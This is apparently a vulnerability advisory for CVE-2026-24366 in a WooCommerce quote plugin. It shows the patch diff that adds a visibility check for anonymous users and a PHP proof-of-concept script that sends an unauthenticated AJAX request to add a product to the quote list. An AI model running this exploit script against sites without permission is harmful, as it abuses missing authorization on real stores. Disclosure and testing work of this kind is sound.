CVE-2026-24366: YITH WooCommerce Request A Quote <= 2.46.0 – Missing Authorization (yith-woocommerce-request-a-quote)

--- a/yith-woocommerce-request-a-quote/includes/class.yith-request-quote.php
+++ b/yith-woocommerce-request-a-quote/includes/class.yith-request-quote.php
@@ -13,7 +13,6 @@
 }

 if ( ! class_exists( 'YITH_Request_Quote' ) ) {
-
 	/**
 	 * Class YITH_Request_Quote
 	 */
@@ -76,6 +75,7 @@
 			/* ajax action. */
 			add_action( 'wp_ajax_yith_ywraq_action', array( $this, 'ajax' ) );
 			add_action( 'wp_ajax_nopriv_yith_ywraq_action', array( $this, 'ajax' ) );
+			add_filter( 'ywraq_ajax_add_item_is_valid', array( $this, 'add_item_is_valid' ), 10, 2 );

 			/* session settings. */
 			add_action( 'wp_loaded', array( $this, 'init' ) ); // Get raq after WP and plugins are loaded.
@@ -432,7 +432,17 @@
 			$product_id         = ( isset( $posted['product_id'] ) && is_numeric( $posted['product_id'] ) ) ? (int) $posted['product_id'] : false;
 			$is_valid_variation = isset( $posted['variation_id'] ) ? ! ( ( empty( $posted['variation_id'] ) || ! is_numeric( $posted['variation_id'] ) ) ) : true;

-			$is_valid = $is_valid_variation;
+			/**
+			 * APPLY_FILTERS: ywraq_ajax_add_item_is_valid
+			 *
+			 * Filter if the item to add is valid.
+			 *
+			 * @param boolean $is_valid   Check if the item to add is valid.
+			 * @param int     $product_id Product id.
+			 *
+			 * @return boolean
+			 */
+			$is_valid = apply_filters( 'ywraq_ajax_add_item_is_valid', $product_id && $is_valid_variation, $product_id );

 			if ( ! $is_valid ) {
 				$errors[] = __( 'Error occurred while adding product to Request a Quote list.', 'yith-woocommerce-request-a-quote' );
@@ -459,6 +469,23 @@
 		}

 		/**
+		 * Prevent non-authenticated users from adding non-visible products to quote
+		 *
+		 * @param bool $is_valid Product is valid for quote.
+		 * @param int  $product_id The product ID.
+		 * @return bool
+		 */
+		public function add_item_is_valid( $is_valid, $product_id ) {
+			if ( $is_valid && $product_id ) {
+				if ( get_current_user_id() === 0 ) {
+					$product  = wc_get_product( $product_id );
+					$is_valid = $product instanceof WC_Product && $product->is_visible();
+				}
+			}
+			return $is_valid;
+		}
+
+		/**
 		 * Remove an item from the list in ajax mode
 		 *
 		 * @param array $posted Request value list.
--- a/yith-woocommerce-request-a-quote/yith-woocommerce-request-a-quote.php
+++ b/yith-woocommerce-request-a-quote/yith-woocommerce-request-a-quote.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: YITH Request a Quote for WooCommerce
  * Plugin URI: https://yithemes.com/themes/plugins/yith-woocommerce-request-a-quote
- * Version: 2.46.0
+ * Version: 2.46.1
  * Author: YITH
  * Author URI: https://yithemes.com/
  * Description: <code><strong>YITH Request a Quote for WooCommerce</strong></code> lets your customers ask for an estimate of a list of products they are interested in. It allows hiding prices and/or the "Add to cart" button so that your customers can request a quote on every product page. <a href="https://yithemes.com/" target="_blank">Get more plugins for your e-commerce shop on <strong>YITH</strong></a>.
@@ -75,7 +75,7 @@
 if ( defined( 'YITH_YWRAQ_VERSION' ) ) {
 	return;
 } else {
-	define( 'YITH_YWRAQ_VERSION', '2.46.0' );
+	define( 'YITH_YWRAQ_VERSION', '2.46.1' );
 }

 if ( ! defined( 'YITH_YWRAQ_FREE_INIT' ) ) {

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24366 - YITH WooCommerce Request A Quote <= 2.46.0 - Missing Authorization

<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$product_id = 123; // Replace with target product ID

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'yith_ywraq_action',
    'add_item' => 1,
    'product_id' => $product_id
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

// No authentication cookies needed
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    // Check for success indicators in response
    if (strpos($response, 'success') !== false || strpos($response, 'added') !== false) {
        echo "[+] Product $product_id successfully added to quote (VULNERABLE)n";
    } else {
        echo "[-] Request succeeded but product may not have been addedn";
    }
} else {
    echo "[-] HTTP $http_code received (may be patched)n";
}

curl_close($ch);
?>